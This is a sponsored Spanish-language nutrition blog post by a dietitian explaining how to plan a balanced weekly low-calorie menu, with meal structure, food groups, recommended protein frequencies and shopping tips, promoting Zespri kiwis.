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Cómo prepararte un menú semanal bajo en calorías

Hay infinidad de opciones a la hora de preparar un menú semanal bajo en calorías, pero lo más importante es que esté formado por alimentos saludables y que te gusten. Debe contener todos los grupos de alimentos en mayor o menor medida: cereales, proteína de origen animal y/o vegetal, lácteos y/o bebidas vegetales enriquecidas en calcio y vitamina D, grasas saludables, verduras y frutas. El segundo punto clave es que aunque sea un menú bajo en calorías, no tenemos que pasar hambre. Elimina la idea de que para perder peso hay que pasar hambre. Y una vez aclarados estos dos aspectos básicos…¿ por dónde empezamos?
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Prepara tu propio menú semanal bajo en calorías

En un papel apunta el número de comidas que quieras realizar a lo largo del día. Mi recomendación es que dividas el día en 3 comidas principales y 2 snacks entre horas. Esto te ayudará a regular la sensación de hambre a lo largo del día y controlar la ingesta de otros alimentos. 

Desayuno

Te recomiendo que tu desayuno esté compuesto de alimentos saludables y que sea variado. Para evitar la monotonía y la falta de nutrientes, incluye recetas diferentes según el día de la semana. Siempre teniendo en cuenta el tiempo del que dispones por la mañana para prepararlo. Si no tienes mucho tiempo, opta por desayunos que puedas preparar la noche anterior y deja las preparaciones más elaboradas para el fin de semana. El kiwi, en general, tiene un índice glucémico bajo (39 en el caso del kiwi Zespri Green y 38 en el del kiwi Zespri SunGold), lo que hace que sea perfecto para incluirlo en un menú ligero.

Media mañana y media tarde

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Igual que el desayuno, debe estar formado por alimentos saludables. Una fruta es un snack fácil, rico y saludable. Además, existen multitud de frutas diferentes según la época del año, lo que te ayudará a conseguir una gran variedad de recetas. La fruta siempre la consumiremos entera. Por ejemplo, una opción de media mañana podría ser consumir una infusión junto a 2 kiwis Zespri®. El kiwi nos aportará pocas calorías, vitamina C y una buena cantidad de fibra, que nos permitirá estar saciados a lo largo de la mañana.

Comidas principales

Primero visualiza tu semana y decide qué días comes en casa, qué días tendrás tiempo para cocinar, qué días puedes hacer la compra, etc. Una vez tengas esto, planifica tus comidas y cenas de manera que siempre incluyan los tres grupos de alimentos siguientes: verduras, proteínas e hidratos de carbono.  Y no te olvides del postre: te recomiendo escoger entre un yogur sin azúcar o una fruta. 

Menú bajo en calorías

Descárgate el menú en este enlace.

Menú bajo en calorías
Menú semanal bajo en calorías

Verduras

La verdura está presente tanto en comida como en cena y siempre es el alimento que predomina en las preparaciones. La consumiremos tanto cruda, como cocida. Por tanto, prepara recetas que incluyan las dos formas. Una manera fácil de garantizar variedad en tu menú es escoger como mínimo 3-4 verduras diferentes cada semana, predominando siempre las de temporada. Prepara la receta en función de estas 3-4 verduras. De esta manera y de forma natural, siempre habrá variedad de verduras en casa. 

Hidratos de carbono

Aunque estemos hablando de realizar un menú bajo en calorías, este grupo de alimentos tiene que estar presente. Por eso, a la hora de planificar el menú semanal, deberás incluir en cada comida una fuente de hidratos de carbono. Existe una gran oferta de hidratos de carbono, aprende a cocinarlos de manera diferente e incluye recetas fáciles y ricas. En este grupo, encuentras los cereales y sus derivados (arroz, pasta, cuscús, pan, maíz, trigo, mijo, espelta…); escoge sus variedades integrales. Aparte de los cereales, también están los tubérculos: patata y boniato y pseudocereales como la quinoa.

Proteínas

La proteína ayuda a que te sientas saciado a lo largo del día. Las legumbres están presentes en este grupo de alimentos. Ten en cuenta que el hierro presente en las legumbres es difícil de absorber. La vitamina C del pimiento, el kiwi, las fresas o el limón, entre otros, te ayudará a su absorción. Así que recuerda: cuando comas legumbres añade una fuente de vitamina C. Un truco fácil para organizar tu semana es colocar en el menú los alimentos proteicos según su frecuencia de consumo recomendada semanal. 

pescado con kiwi
Se recomienda incluir pescado blanco 3-4 veces a la semana y pescado azul 1-2 veces.

 

Frecuencia de consumo de proteínas recomendada

Pescado blanco

3-4 veces / semana

Pescado azul

1-2 veces / semana

Carne Roja

1 vez / semana

Carne blanca

3-4 veces / semana

Marisco

1-2 veces / semana

Huevo

2-3 veces / semana

Legumbre

2-3 veces / semana

Ahora que ya tienes el menú bajo en calorías preparado, realiza una compra inteligente. Es decir, mira qué ingredientes tienes en casa en función del número de días que los vas a consumir y de los comensales que sois. Así sabrás qué alimentos vas a necesitar y la cantidad que tienes que comprar. Por ejemplo, si hay que comer pescado blanco mínimo 3 veces a la semana y en casa tienes únicamente para un día, en la próxima compra deberás comprar pescado blanco para dos días más. Lo mismo sucede con la fruta. Cada día tendrás que tomar como mínimo 2 frutas, por lo que necesitarás 14 piezas de fruta. Compra la fruta en función del número de veces que los tienes en el menú, siempre garantizando la variedad. Si tienes el frutero lleno, seguro que te será más fácil comer la fruta diaria. Y así con todos los alimentos de tu menú semanal. Por último, recuerda que un menú bajo en calorías está formado por alimentos saludables y no tienes por qué pasar hambre. 

Si únicamente tienes alimentos saludables en casa, te será mucho más fácil seguir el menú que has planificado.

Artículo patrocinado dentro del marco de la campaña #kiwisZespri y #alimentatuvitalidad. Si quieres descubrir cómo comer el kiwi de forma divertida y sana, entra en Zespri®.

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Aina Huguet
Aina Huguet
Soy fiel defensora de que una dieta variada, equilibrada y saludable no tiene porqué ser aburrida. Aquí está mi reto, haceros disfrutar día a día con lo que coméis, enseñándoos nuevos trucos y consejos a fin de conseguir los objetivos marcados y un estilo de vida más saludable. Estoy graduada en Nutrición Humana y Dietética por la Universidad Rovira y Virgili. Máster en Seguridad Alimentaria por la Universidad de Barcelona.

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